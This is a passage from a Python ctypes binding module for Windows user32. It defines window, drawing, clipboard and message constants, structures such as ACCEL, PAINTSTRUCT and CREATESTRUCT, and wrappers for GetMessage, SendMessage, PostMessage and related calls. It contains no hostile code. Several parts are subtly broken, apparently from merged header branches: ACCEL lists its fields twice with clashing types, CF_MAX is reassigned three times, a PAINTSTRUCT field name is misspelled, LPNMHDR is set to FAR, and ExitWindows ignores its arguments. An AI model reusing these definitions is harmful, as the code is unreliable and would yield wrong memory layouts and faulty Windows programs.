WS_EX_WINDOWEDGE | WS_EX_TOOLWINDOW | WS_EX_TOPMOST\nWS_EX_LAYERED = 0x00080000\nWS_EX_NOINHERITLAYOUT = 0x00100000\nWS_EX_NOREDIRECTIONBITMAP = 0x00200000\nWS_EX_LAYOUTRTL = 0x00400000\nWS_EX_COMPOSITED = 0x02000000\nWS_EX_NOACTIVATE = 0x08000000\nCS_VREDRAW = 0x00000001\nCS_HREDRAW = 0x00000002\nCS_DBLCLKS = 0x00000008\nCS_OWNDC = 0x00000020\nCS_CLASSDC = 0x00000040\nCS_PARENTDC = 0x00000080\nCS_NOCLOSE = 0x00000200\nCS_SAVEBITS = 0x00000800\nCS_BYTEALIGNCLIENT = 0x00001000\nCS_BYTEALIGNWINDOW = 0x00002000\nCS_GLOBALCLASS = 0x00004000\nCS_IME = 0x00010000\nCS_DROPSHADOW = 0x00020000\nPRF_CHECKVISIBLE = 0x00000001\nPRF_NONCLIENT = 0x00000002\nPRF_CLIENT = 0x00000004\nPRF_ERASEBKGND = 0x00000008\nPRF_CHILDREN = 0x00000010\nPRF_OWNED = 0x00000020\nBDR_RAISEDOUTER = 0x00000001\nBDR_SUNKENOUTER = 0x00000002\nBDR_RAISEDINNER = 0x00000004\nBDR_SUNKENINNER = 0x00000008\nBDR_OUTER = BDR_RAISEDOUTER | BDR_SUNKENOUTER\nBDR_INNER = BDR_RAISEDINNER | BDR_SUNKENINNER\nBDR_RAISED = BDR_RAISEDOUTER | BDR_RAISEDINNER\nBDR_SUNKEN = BDR_SUNKENOUTER | BDR_SUNKENINNER\nEDGE_RAISED = BDR_RAISEDOUTER | BDR_RAISEDINNER\nEDGE_SUNKEN = BDR_SUNKENOUTER | BDR_SUNKENINNER\nEDGE_ETCHED = BDR_SUNKENOUTER | BDR_RAISEDINNER\nEDGE_BUMP = BDR_RAISEDOUTER | BDR_SUNKENINNER\nBF_LEFT = 0x00000001\nBF_TOP = 0x00000002\nBF_RIGHT = 0x00000004\nBF_BOTTOM = 0x00000008\nBF_TOPLEFT = BF_TOP | BF_LEFT\nBF_TOPRIGHT = BF_TOP | BF_RIGHT\nBF_BOTTOMLEFT = BF_BOTTOM | BF_LEFT\nBF_BOTTOMRIGHT = BF_BOTTOM | BF_RIGHT\nBF_RECT = BF_LEFT | BF_TOP | BF_RIGHT | BF_BOTTOM\nBF_DIAGONAL = 0x00000010\nBF_DIAGONAL_ENDTOPRIGHT = BF_DIAGONAL | BF_TOP | BF_RIGHT\nBF_DIAGONAL_ENDTOPLEFT = BF_DIAGONAL | BF_TOP | BF_LEFT\nBF_DIAGONAL_ENDBOTTOMLEFT = BF_DIAGONAL | BF_BOTTOM | BF_LEFT\nBF_DIAGONAL_ENDBOTTOMRIGHT = BF_DIAGONAL | BF_BOTTOM | BF_RIGHT\nBF_MIDDLE = 0x00000800\nBF_SOFT = 0x00001000\nBF_ADJUST = 0x00002000\nBF_FLAT = 0x00004000\nBF_MONO = 0x00008000\n\n# WINAPI\n# DrawEdge(\n# _In_ HDC hdc,\n# _Inout_ LPRECT qrc,\n# _In_ UINT edge,\n# _In_ UINT grfFlags);\nDrawEdge = user32.DrawEdge\nDrawEdge.restype = WINAPI\n\nDFC_CAPTION = 0x00000001\nDFC_MENU = 0x00000002\nDFC_SCROLL = 0x00000003\nDFC_BUTTON = 0x00000004\nDFC_POPUPMENU = 0x00000005\nDFCS_CAPTIONCLOSE = 0x00000000\nDFCS_CAPTIONMIN = 0x00000001\nDFCS_CAPTIONMAX = 0x00000002\nDFCS_CAPTIONRESTORE = 0x00000003\nDFCS_CAPTIONHELP = 0x00000004\nDFCS_MENUARROW = 0x00000000\nDFCS_MENUCHECK = 0x00000001\nDFCS_MENUBULLET = 0x00000002\nDFCS_MENUARROWRIGHT = 0x00000004\nDFCS_SCROLLUP = 0x00000000\nDFCS_SCROLLDOWN = 0x00000001\nDFCS_SCROLLLEFT = 0x00000002\nDFCS_SCROLLRIGHT = 0x00000003\nDFCS_SCROLLCOMBOBOX = 0x00000005\nDFCS_SCROLLSIZEGRIP = 0x00000008\nDFCS_SCROLLSIZEGRIPRIGHT = 0x00000010\nDFCS_BUTTONCHECK = 0x00000000\nDFCS_BUTTONRADIOIMAGE = 0x00000001\nDFCS_BUTTONRADIOMASK = 0x00000002\nDFCS_BUTTONRADIO = 0x00000004\nDFCS_BUTTON3STATE = 0x00000008\nDFCS_BUTTONPUSH = 0x00000010\nDFCS_INACTIVE = 0x00000100\nDFCS_PUSHED = 0x00000200\nDFCS_CHECKED = 0x00000400\nDFCS_TRANSPARENT = 0x00000800\nDFCS_HOT = 0x00001000\nDFCS_ADJUSTRECT = 0x00002000\nDFCS_FLAT = 0x00004000\nDFCS_MONO = 0x00008000\n\n# WINAPI\n# DrawFrameControl(\n# _In_ HDC,\n# _Inout_ LPRECT,\n# _In_ UINT,\n# _In_ UINT);\nDrawFrameControl = user32.DrawFrameControl\nDrawFrameControl.restype = WINAPI\n\nDC_ACTIVE = 0x00000001\nDC_SMALLCAP = 0x00000002\nDC_ICON = 0x00000004\nDC_TEXT = 0x00000008\nDC_INBUTTON = 0x00000010\nDC_GRADIENT = 0x00000020\nDC_BUTTONS = 0x00001000\n\n# WINAPI\n# DrawCaption(\n# _In_ HWND hwnd,\n# _In_ HDC hdc,\n# _In_ CONST RECT * lprect,\n# _In_ UINT flags);\nDrawCaption = user32.DrawCaption\nDrawCaption.restype = WINAPI\n\nIDANI_OPEN = 0x00000001\nIDANI_CAPTION = 0x00000003\n\n# WINAPI\n# DrawAnimatedRects(\n# _In_opt_ HWND hwnd,\n# _In_ INT idAni,\n# _In_ CONST RECT *lprcFrom,\n# _In_ CONST RECT *lprcTo);\nDrawAnimatedRects = user32.DrawAnimatedRects\nDrawAnimatedRects.restype = WINAPI\n\nCF_TEXT = 0x00000001\nCF_BITMAP = 0x00000002\nCF_METAFILEPICT = 0x00000003\nCF_SYLK = 0x00000004\nCF_DIF = 0x00000005\nCF_TIFF = 0x00000006\nCF_OEMTEXT = 0x00000007\nCF_DIB = 0x00000008\nCF_PALETTE = 0x00000009\nCF_PENDATA = 0x0000000A\nCF_RIFF = 0x0000000B\nCF_WAVE = 0x0000000C\nCF_UNICODETEXT = 0x0000000D\nCF_ENHMETAFILE = 0x0000000E\nCF_HDROP = 0x0000000F\nCF_LOCALE = 0x00000010\nCF_DIBV5 = 0x00000011\nCF_MAX = 0x00000012\nCF_MAX = 0x00000011\nCF_MAX = 0x0000000F\nCF_OWNERDISPLAY = 0x00000080\nCF_DSPTEXT = 0x00000081\nCF_DSPBITMAP = 0x00000082\nCF_DSPMETAFILEPICT = 0x00000083\nCF_DSPENHMETAFILE = 0x0000008E\nCF_PRIVATEFIRST = 0x00000200\nCF_PRIVATELAST = 0x000002FF\nCF_GDIOBJFIRST = 0x00000300\nCF_GDIOBJLAST = 0x000003FF\nFVIRTKEY = TRUE\nFNOINVERT = 0x00000002\nFSHIFT = 0x00000004\nFCONTROL = 0x00000008\nFALT = 0x00000010\n\nclass tagACCEL(ctypes.Structure):\n _fields_ = [\n ('fVirt', BYTE),\n ('key', WORD),\n ('cmd', WORD),\n ('fVirt', WORD),\n ('key', WORD),\n ('cmd', DWORD),\n ]\n\n\nACCEL = tagACCEL\nLPACCEL = POINTER(tagACCEL)\n\n\n\nclass tagPAINTSTRUCT(ctypes.Structure):\n _fields_ = [\n ('hdc', HDC),\n ('fErase', BOOL),\n ('rcPaINT', RECT),\n ('fRestore', BOOL),\n ('fIncUpdate', BOOL),\n ('rgbReserved', BYTE * 32),\n ]\n\n\nPAINTSTRUCT = tagPAINTSTRUCT\nPPAINTSTRUCT = POINTER(tagPAINTSTRUCT)\nNPPAINTSTRUCT = POINTER(tagPAINTSTRUCT)\nLPPAINTSTRUCT = POINTER(tagPAINTSTRUCT)\n\n\n\nclass tagCREATESTRUCTA(ctypes.Structure):\n _fields_ = [\n ('lpCreateParams', LPVOID),\n ('hInstance', HINSTANCE),\n ('hMenu', HMENU),\n ('hwndParent', HWND),\n ('cy', INT),\n ('cx', INT),\n ('y', INT),\n ('x', INT),\n ('style', LONG),\n ('lpszName', LPCSTR),\n ('lpszClass', LPCSTR),\n ('dwExStyle', DWORD),\n ]\n\n\nCREATESTRUCTA = tagCREATESTRUCTA\nLPCREATESTRUCTA = POINTER(tagCREATESTRUCTA)\n\n\n\nclass tagCREATESTRUCTW(ctypes.Structure):\n _fields_ = [\n ('lpCreateParams', LPVOID),\n ('hInstance', HINSTANCE),\n ('hMenu', HMENU),\n ('hwndParent', HWND),\n ('cy', INT),\n ('cx', INT),\n ('y', INT),\n ('x', INT),\n ('style', LONG),\n ('lpszName', LPCWSTR),\n ('lpszClass', LPCWSTR),\n ('dwExStyle', DWORD),\n ]\n\n\nCREATESTRUCTW = tagCREATESTRUCTW\nLPCREATESTRUCTW = POINTER(tagCREATESTRUCTW)\n\ntagCBT_CREATEWNDA._fields_ = [\n ('lpcs', POINTER(tagCREATESTRUCTA)),\n ('hwndInsertAfter', HWND),\n]\ntagCBT_CREATEWNDW._fields_ = [\n ('lpcs', POINTER(tagCREATESTRUCTW)),\n ('hwndInsertAfter', HWND),\n]\n\nCREATESTRUCT = CREATESTRUCTW\nLPCREATESTRUCT = LPCREATESTRUCTW\n\nclass tagWINDOWPLACEMENT(ctypes.Structure):\n _fields_ = [\n ('length', UINT),\n ('flags', UINT),\n ('showCmd', UINT),\n ('ptMinPosition', POINT),\n ('ptMaxPosition', POINT),\n ('rcNormalPosition', RECT),\n ('rcDevice', RECT),\n ]\n\n\nWINDOWPLACEMENT = tagWINDOWPLACEMENT\n\n\nPWINDOWPLACEMENT = POINTER(WINDOWPLACEMENT)\nLPWINDOWPLACEMENT = POINTER(WINDOWPLACEMENT)\nWPF_SETMINPOSITION = 0x00000001\nWPF_RESTORETOMAXIMIZED = 0x00000002\nWPF_ASYNCWINDOWPLACEMENT = 0x00000004\n\nclass tagNMHDR(ctypes.Structure):\n _fields_ = [\n ('hwndFrom', HWND),\n ('idFrom', UINT_PTR),\n ('code', UINT),\n ]\n\n\nNMHDR = tagNMHDR\n\n\nLPNMHDR = FAR\n\nclass tagSTYLESTRUCT(ctypes.Structure):\n _fields_ = [\n ('styleOld', DWORD),\n ('styleNew', DWORD),\n ]\n\n\nSTYLESTRUCT = tagSTYLESTRUCT\nLPSTYLESTRUCT = POINTER(tagSTYLESTRUCT)\n\n\nODT_MENU = 0x00000001\nODT_LISTBOX = 0x00000002\nODT_COMBOBOX = 0x00000003\nODT_BUTTON = 0x00000004\nODT_STATIC = 0x00000005\nODA_DRAWENTIRE = 0x00000001\nODA_SELECT = 0x00000002\nODA_FOCUS = 0x00000004\nODS_SELECTED = 0x00000001\nODS_GRAYED = 0x00000002\nODS_DISABLED = 0x00000004\nODS_CHECKED = 0x00000008\nODS_FOCUS = 0x00000010\nODS_DEFAULT = 0x00000020\nODS_COMBOBOXEDIT = 0x00001000\nODS_HOTLIGHT = 0x00000040\nODS_INACTIVE = 0x00000080\nODS_NOACCEL = 0x00000100\nODS_NOFOCUSRECT = 0x00000200\n\nclass tagMEASUREITEMSTRUCT(ctypes.Structure):\n _fields_ = [\n ('CtlType', UINT),\n ('CtlID', UINT),\n ('itemID', UINT),\n ('itemWidth', UINT),\n ('itemHeight', UINT),\n ('itemData', ULONG_PTR),\n ]\n\n\nMEASUREITEMSTRUCT = tagMEASUREITEMSTRUCT\nPMEASUREITEMSTRUCT = POINTER(tagMEASUREITEMSTRUCT)\nLPMEASUREITEMSTRUCT = POINTER(tagMEASUREITEMSTRUCT)\n\n\n\nclass tagDRAWITEMSTRUCT(ctypes.Structure):\n _fields_ = [\n ('CtlType', UINT),\n ('CtlID', UINT),\n ('itemID', UINT),\n ('itemAction', UINT),\n ('itemState', UINT),\n ('hwndItem', HWND),\n ('hDC', HDC),\n ('rcItem', RECT),\n ('itemData', ULONG_PTR),\n ]\n\n\nDRAWITEMSTRUCT = tagDRAWITEMSTRUCT\nPDRAWITEMSTRUCT = POINTER(tagDRAWITEMSTRUCT)\nLPDRAWITEMSTRUCT = POINTER(tagDRAWITEMSTRUCT)\n\n\n\nclass tagDELETEITEMSTRUCT(ctypes.Structure):\n _fields_ = [\n ('CtlType', UINT),\n ('CtlID', UINT),\n ('itemID', UINT),\n ('hwndItem', HWND),\n ('itemData', ULONG_PTR),\n ]\n\n\nDELETEITEMSTRUCT = tagDELETEITEMSTRUCT\nPDELETEITEMSTRUCT = POINTER(tagDELETEITEMSTRUCT)\nLPDELETEITEMSTRUCT = POINTER(tagDELETEITEMSTRUCT)\n\n\n\nclass tagCOMPAREITEMSTRUCT(ctypes.Structure):\n _fields_ = [\n ('CtlType', UINT),\n ('CtlID', UINT),\n ('hwndItem', HWND),\n ('itemID1', UINT),\n ('itemData1', ULONG_PTR),\n ('itemID2', UINT),\n ('itemData2', ULONG_PTR),\n ('dwLocaleId', DWORD),\n ]\n\n\nCOMPAREITEMSTRUCT = tagCOMPAREITEMSTRUCT\nPCOMPAREITEMSTRUCT = POINTER(tagCOMPAREITEMSTRUCT)\nLPCOMPAREITEMSTRUCT = POINTER(tagCOMPAREITEMSTRUCT)\n\n\n\n# WINAPI\n# GetMessageA(\n# _Out_ LPMSG lpMsg,\n# _In_opt_ HWND hWnd,\n# _In_ UINT wMsgFilterMin,\n# _In_ UINT wMsgFilterMax);\nGetMessageA = user32.GetMessageA\nGetMessageA.restype = WINAPI\n\n\n# WINAPI\n# GetMessageW(\n# _Out_ LPMSG lpMsg,\n# _In_opt_ HWND hWnd,\n# _In_ UINT wMsgFilterMin,\n# _In_ UINT wMsgFilterMax);\nGetMessageW = user32.GetMessageW\nGetMessageW.restype = WINAPI\n\nGetMessage = GetMessageW\n# GetMessage = GetMessageA\n\n# BOOL\n# GetMessage(\n# LPMSG lpMsg,\n# HWND hWnd,\n# UINT wMsgFilterMin,\n# UINT wMsgFilterMax\n# )\n# GetMessage = user32.GetMessage\n# GetMessage.restype = BOOL\n\n\n# WINAPI\n# TranslateMessage(\n# _In_ CONST MSG *lpMsg);\nTranslateMessage = user32.TranslateMessage\nTranslateMessage.restype = WINAPI\n\n\n# WINAPI\n# DispatchMessageA(\n# _In_ CONST MSG *lpMsg);\nDispatchMessageA = user32.DispatchMessageA\nDispatchMessageA.restype = WINAPI\n\n\n# WINAPI\n# DispatchMessageW(\n# _In_ CONST MSG *lpMsg);\nDispatchMessageW = user32.DispatchMessageW\nDispatchMessageW.restype = WINAPI\n\nDispatchMessage = DispatchMessageW\n# DispatchMessage = DispatchMessageA\n\n# LRESULT\n# DispatchMessage(\n# CONST MSG *lpMsg\n# )\n# DispatchMessage = user32.DispatchMessage\n# DispatchMessage.restype = LRESULT\n\n\n# WINAPI\n# SetMessageQueue(\n# _In_ INT cMessagesMax);\nSetMessageQueue = user32.SetMessageQueue\nSetMessageQueue.restype = WINAPI\n\n\n# WINAPI\n# PeekMessageA(\n# _Out_ LPMSG lpMsg,\n# _In_opt_ HWND hWnd,\n# _In_ UINT wMsgFilterMin,\n# _In_ UINT wMsgFilterMax,\n# _In_ UINT wRemoveMsg);\nPeekMessageA = user32.PeekMessageA\nPeekMessageA.restype = WINAPI\n\n\n# WINAPI\n# PeekMessageW(\n# _Out_ LPMSG lpMsg,\n# _In_opt_ HWND hWnd,\n# _In_ UINT wMsgFilterMin,\n# _In_ UINT wMsgFilterMax,\n# _In_ UINT wRemoveMsg);\nPeekMessageW = user32.PeekMessageW\nPeekMessageW.restype = WINAPI\n\nPeekMessage = PeekMessageW\n# PeekMessage = PeekMessageA\n\nQS_KEY = 0x00000001\nQS_MOUSEMOVE = 0x00000002\nQS_MOUSEBUTTON = 0x00000004\nQS_POSTMESSAGE = 0x00000008\nQS_TIMER = 0x00000010\nQS_PAINT = 0x00000020\nQS_SENDMESSAGE = 0x00000040\nQS_HOTKEY = 0x00000080\nQS_ALLPOSTMESSAGE = 0x00000100\nQS_RAWINPUT = 0x00000400\nQS_TOUCH = 0x00000800\nQS_POINTER = 0x00001000\nQS_MOUSE = QS_MOUSEMOVE | QS_MOUSEBUTTON\nQS_INPUT = QS_MOUSE | QS_KEY | QS_RAWINPUT | QS_TOUCH | QS_POINTER\n\nQS_ALLEVENTS = QS_INPUT | QS_POSTMESSAGE | QS_TIMER | QS_PAINT | QS_HOTKEY\nQS_ALLINPUT = (\n QS_INPUT |\n QS_POSTMESSAGE |\n QS_TIMER |\n QS_PAINT |\n QS_HOTKEY |\n QS_SENDMESSAGE\n)\n\nPM_NOREMOVE = 0x00000000\nPM_REMOVE = 0x00000001\nPM_NOYIELD = 0x00000002\nPM_QS_INPUT = QS_INPUT << 16\nPM_QS_POSTMESSAGE = (QS_POSTMESSAGE | QS_HOTKEY | QS_TIMER) << 16\nPM_QS_PAINT = QS_PAINT << 16\nPM_QS_SENDMESSAGE = QS_SENDMESSAGE << 16\n\n# WINAPI\n# RegisterHotKey(\n# _In_opt_ HWND hWnd,\n# _In_ INT id,\n# _In_ UINT fsModifiers,\n# _In_ UINT vk);\nRegisterHotKey = user32.RegisterHotKey\nRegisterHotKey.restype = WINAPI\n\n\n# WINAPI\n# UnregisterHotKey(\n# _In_opt_ HWND hWnd,\n# _In_ INT id);\nUnregisterHotKey = user32.UnregisterHotKey\nUnregisterHotKey.restype = WINAPI\n\nMOD_ALT = 0x00000001\nMOD_CONTROL = 0x00000002\nMOD_SHIFT = 0x00000004\nMOD_WIN = 0x00000008\nMOD_NOREPEAT = 0x00004000\nIDHOT_SNAPWINDOW = -1\nIDHOT_SNAPDESKTOP = -2\nENDSESSION_CLOSEAPP = 0x00000001\nENDSESSION_CRITICAL = 0x40000000\nENDSESSION_LOGOFF = 0x80000000\nEWX_LOGOFF = 0x00000000\nEWX_SHUTDOWN = 0x00000001\nEWX_REBOOT = 0x00000002\nEWX_FORCE = 0x00000004\nEWX_POWEROFF = 0x00000008\nEWX_FORCEIFHUNG = 0x00000010\nEWX_QUICKRESOLVE = 0x00000020\nEWX_RESTARTAPPS = 0x00000040\nEWX_HYBRID_SHUTDOWN = 0x00400000\nEWX_BOOTOPTIONS = 0x01000000\n\n\ndef ExitWindows(dwReserved, Code):\n return ExitWindowsEx(EWX_LOGOFF, 0xFFFFFFFF)\n\n# WINAPI\n# ExitWindowsEx(\n# _In_ UINT uFlags,\n# _In_ DWORD dwReason);\nExitWindowsEx = user32.ExitWindowsEx\nExitWindowsEx.restype = WINAPI\n\n\n# WINAPI\n# SwapMouseButton(\n# _In_ BOOL fSwap);\nSwapMouseButton = user32.SwapMouseButton\nSwapMouseButton.restype = WINAPI\n\n\n# WINAPI\n# GetMessagePos(\n# VOID);\nGetMessagePos = user32.GetMessagePos\nGetMessagePos.restype = WINAPI\n\n\n# WINAPI\n# GetMessageTime(\n# VOID);\nGetMessageTime = user32.GetMessageTime\nGetMessageTime.restype = WINAPI\n\n\n# WINAPI\n# GetMessageExtraInfo(\n# VOID);\nGetMessageExtraInfo = user32.GetMessageExtraInfo\nGetMessageExtraInfo.restype = WINAPI\n\n\n# WINAPI\n# GetUnpredictedMessagePos(\n# VOID);\nGetUnpredictedMessagePos = user32.GetUnpredictedMessagePos\nGetUnpredictedMessagePos.restype = WINAPI\n\n\n# WINAPI\n# IsWow64Message(\n# VOID);\nIsWow64Message = user32.IsWow64Message\nIsWow64Message.restype = WINAPI\n\n\n# WINAPI\n# SetMessageExtraInfo(\n# _In_ LPARAM lParam);\nSetMessageExtraInfo = user32.SetMessageExtraInfo\nSetMessageExtraInfo.restype = WINAPI\n\n\n# WINAPI\n# SendMessageA(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _Pre_maybenull_ _Post_valid_ WPARAM wParam,\n# _Pre_maybenull_ _Post_valid_ LPARAM lParam);\nSendMessageA = user32.SendMessageA\nSendMessageA.restype = WINAPI\n\n\n# WINAPI\n# SendMessageW(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _Pre_maybenull_ _Post_valid_ WPARAM wParam,\n# _Pre_maybenull_ _Post_valid_ LPARAM lParam);\nSendMessageW = user32.SendMessageW\nSendMessageW.restype = WINAPI\n\nSendMessage = SendMessageW\n# SendMessage = SendMessageA\n\n# LRESULT\n# SendMessage(\n# HWND hWnd,\n# UINT Msg,\n# WPARAM wParam,\n# LPARAM lParam\n# )\nSendMessage = user32.SendMessage\nSendMessage.restype = LRESULT\n\n\n# WINAPI\n# SendMessageTimeoutA(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam,\n# _In_ UINT fuFlags,\n# _In_ UINT uTimeout,\n# _Out_opt_ PDWORD_PTR lpdwResult);\nSendMessageTimeoutA = user32.SendMessageTimeoutA\nSendMessageTimeoutA.restype = WINAPI\n\n\n# WINAPI\n# SendMessageTimeoutW(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam,\n# _In_ UINT fuFlags,\n# _In_ UINT uTimeout,\n# _Out_opt_ PDWORD_PTR lpdwResult);\nSendMessageTimeoutW = user32.SendMessageTimeoutW\nSendMessageTimeoutW.restype = WINAPI\n\nSendMessageTimeout = SendMessageTimeoutW\n# SendMessageTimeout = SendMessageTimeoutA\n\n# WINAPI\n# SendNotifyMessageA(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nSendNotifyMessageA = user32.SendNotifyMessageA\nSendNotifyMessageA.restype = WINAPI\n\n\n# WINAPI\n# SendNotifyMessageW(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nSendNotifyMessageW = user32.SendNotifyMessageW\nSendNotifyMessageW.restype = WINAPI\n\nSendNotifyMessage = SendNotifyMessageW\n# SendNotifyMessage = SendNotifyMessageA\n\n# WINAPI\n# SendMessageCallbackA(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam,\n# _In_ SENDASYNCPROC lpResultCallBack,\n# _In_ ULONG_PTR dwData);\nSendMessageCallbackA = user32.SendMessageCallbackA\nSendMessageCallbackA.restype = WINAPI\n\n\n# WINAPI\n# SendMessageCallbackW(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam,\n# _In_ SENDASYNCPROC lpResultCallBack,\n# _In_ ULONG_PTR dwData);\nSendMessageCallbackW = user32.SendMessageCallbackW\nSendMessageCallbackW.restype = WINAPI\n\nSendMessageCallback = SendMessageCallbackW\n# SendMessageCallback = SendMessageCallbackA\n\nclass BSMINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('hdesk', HDESK),\n ('hwnd', HWND),\n ('luid', LUID),\n ]\n\n\nPBSMINFO = POINTER(BSMINFO)\n\n\n\n# WINAPI\n# BroadcastSystemMessageExA(\n# _In_ DWORD flags,\n# _Inout_opt_ LPDWORD lpInfo,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam,\n# _Out_opt_ PBSMINFO pbsmInfo);\nBroadcastSystemMessageExA = user32.BroadcastSystemMessageExA\nBroadcastSystemMessageExA.restype = WINAPI\n\n\n# WINAPI\n# BroadcastSystemMessageExW(\n# _In_ DWORD flags,\n# _Inout_opt_ LPDWORD lpInfo,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam,\n# _Out_opt_ PBSMINFO pbsmInfo);\nBroadcastSystemMessageExW = user32.BroadcastSystemMessageExW\nBroadcastSystemMessageExW.restype = WINAPI\n\nBroadcastSystemMessageEx = BroadcastSystemMessageExW\n# BroadcastSystemMessageEx = BroadcastSystemMessageExA\n\n# WINAPI\n# BroadcastSystemMessageA(\n# _In_ DWORD flags,\n# _Inout_opt_ LPDWORD lpInfo,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nBroadcastSystemMessageA = user32.BroadcastSystemMessageA\nBroadcastSystemMessageA.restype = WINAPI\n\n\n# WINAPI\n# BroadcastSystemMessageW(\n# _In_ DWORD flags,\n# _Inout_opt_ LPDWORD lpInfo,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nBroadcastSystemMessageW = user32.BroadcastSystemMessageW\nBroadcastSystemMessageW.restype = WINAPI\n\nBroadcastSystemMessage = BroadcastSystemMessageW\n# BroadcastSystemMessage = BroadcastSystemMessageA\n\n# WINAPI\n# BroadcastSystemMessage(\n# _In_ DWORD flags,\n# _Inout_opt_ LPDWORD lpInfo,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nBroadcastSystemMessage = user32.BroadcastSystemMessage\nBroadcastSystemMessage.restype = WINAPI\n\nBSM_ALLCOMPONENTS = 0x00000000\nBSM_VXDS = 0x00000001\nBSM_NETDRIVER = 0x00000002\nBSM_INSTALLABLEDRIVERS = 0x00000004\nBSM_APPLICATIONS = 0x00000008\nBSM_ALLDESKTOPS = 0x00000010\nBSF_QUERY = 0x00000001\nBSF_IGNORECURRENTTASK = 0x00000002\nBSF_FLUSHDISK = 0x00000004\nBSF_NOHANG = 0x00000008\nBSF_POSTMESSAGE = 0x00000010\nBSF_FORCEIFHUNG = 0x00000020\nBSF_NOTIMEOUTIFNOTHUNG = 0x00000040\nBSF_ALLOWSFW = 0x00000080\nBSF_SENDNOTIFYMESSAGE = 0x00000100\nBSF_RETURNHDESK = 0x00000200\nBSF_LUID = 0x00000400\nBROADCAST_QUERY_DENY = 0x424D5144\nHDEVNOTIFY = PVOID\nPHDEVNOTIFY = POINTER(HDEVNOTIFY)\nDEVICE_NOTIFY_WINDOW_HANDLE = 0x00000000\nDEVICE_NOTIFY_SERVICE_HANDLE = 0x00000001\nDEVICE_NOTIFY_ALL_INTERFACE_CLASSES = 0x00000004\n\n# WINAPI\n# RegisterDeviceNotificationA(\n# _In_ HANDLE hRecipient,\n# _In_ LPVOID NotificationFilter,\n# _In_ DWORD Flags);\nRegisterDeviceNotificationA = user32.RegisterDeviceNotificationA\nRegisterDeviceNotificationA.restype = WINAPI\n\n\n# WINAPI\n# RegisterDeviceNotificationW(\n# _In_ HANDLE hRecipient,\n# _In_ LPVOID NotificationFilter,\n# _In_ DWORD Flags);\nRegisterDeviceNotificationW = user32.RegisterDeviceNotificationW\nRegisterDeviceNotificationW.restype = WINAPI\n\nRegisterDeviceNotification = RegisterDeviceNotificationW\n# RegisterDeviceNotification = RegisterDeviceNotificationA\n\n# WINAPI\n# UnregisterDeviceNotification(\n# _In_ HDEVNOTIFY Handle\n# );\nUnregisterDeviceNotification = user32.UnregisterDeviceNotification\nUnregisterDeviceNotification.restype = WINAPI\n\nHPOWERNOTIFY = PVOID\nPHPOWERNOTIFY = POINTER(HPOWERNOTIFY)\n\n# WINAPI\n# RegisterPowerSettingNotification(\n# IN HANDLE hRecipient,\n# IN LPCGUID PowerSettingGuid,\n# IN DWORD Flags\n# );\nRegisterPowerSettingNotification = user32.RegisterPowerSettingNotification\nRegisterPowerSettingNotification.restype = WINAPI\n\n\n# WINAPI\n# UnregisterPowerSettingNotification(\n# IN HPOWERNOTIFY Handle\n# );\nUnregisterPowerSettingNotification = user32.UnregisterPowerSettingNotification\nUnregisterPowerSettingNotification.restype = WINAPI\n\n\n# WINAPI\n# RegisterSuspendResumeNotification (\n# IN HANDLE hRecipient,\n# IN DWORD Flags\n# );\nRegisterSuspendResumeNotification = user32.RegisterSuspendResumeNotification\nRegisterSuspendResumeNotification.restype = WINAPI\n\n\n# WINAPI\n# UnregisterSuspendResumeNotification (\n# IN HPOWERNOTIFY Handle\n# );\nUnregisterSuspendResumeNotification = (\n user32.UnregisterSuspendResumeNotification\n)\nUnregisterSuspendResumeNotification.restype = WINAPI\n\n\n# WINAPI\n# PostMessageA(\n# _In_opt_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nPostMessageA = user32.PostMessageA\nPostMessageA.restype = WINAPI\n\n\n# WINAPI\n# PostMessageW(\n# _In_opt_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nPostMessageW = user32.PostMessageW\nPostMessageW.restype = WINAPI\n\nPostMessage = PostMessageW\n# PostMessage = PostMessageA\n\n# WINAPI\n# PostThreadMessageA(\n# _In_ DWORD idThread,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nPostThreadMessageA = user32.PostThreadMessageA\nPostThreadMessageA.restype = WINAPI\n\n\n# WINAPI\n# PostThreadMessageW(\n# _In_ DWORD idThread,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nPostThreadMessageW = user32.PostThreadMessageW\nPostThreadMessageW.restype = WINAPI\n\nPostThreadMessage = PostThreadMessageW\n# PostThreadMessage = PostThreadMessageA\n\n\ndef PostAppMessageA(idThread, wMsg, wParam, lParam):\n return PostThreadMessageA(idThread, wMsg, wParam, lParam)\n\n\ndef PostAppMessageW(idThread, wMsg, wParam, lParam):\n return PostThreadMessageW(idThread, wMsg, wParam, lParam)\n\n\nPostAppMessage = PostAppMessageW\n# PostAppMessage = PostAppMessageA\nHWND_BROADCAST = 0xffff\nHWND_MESSAGE = -3\n\n# WINAPI\n# AttachThreadInput(\n# _In_ DWORD idAttach,\n# _In_ DWORD idAttachTo,\n# _In_ BOOL fAttach);\nAttachThreadInput = user32.AttachThreadInput\nAttachThreadInput.restype = WINAPI\n\n\n# WINAPI\n# ReplyMessage(\n# _In_ LRESULT 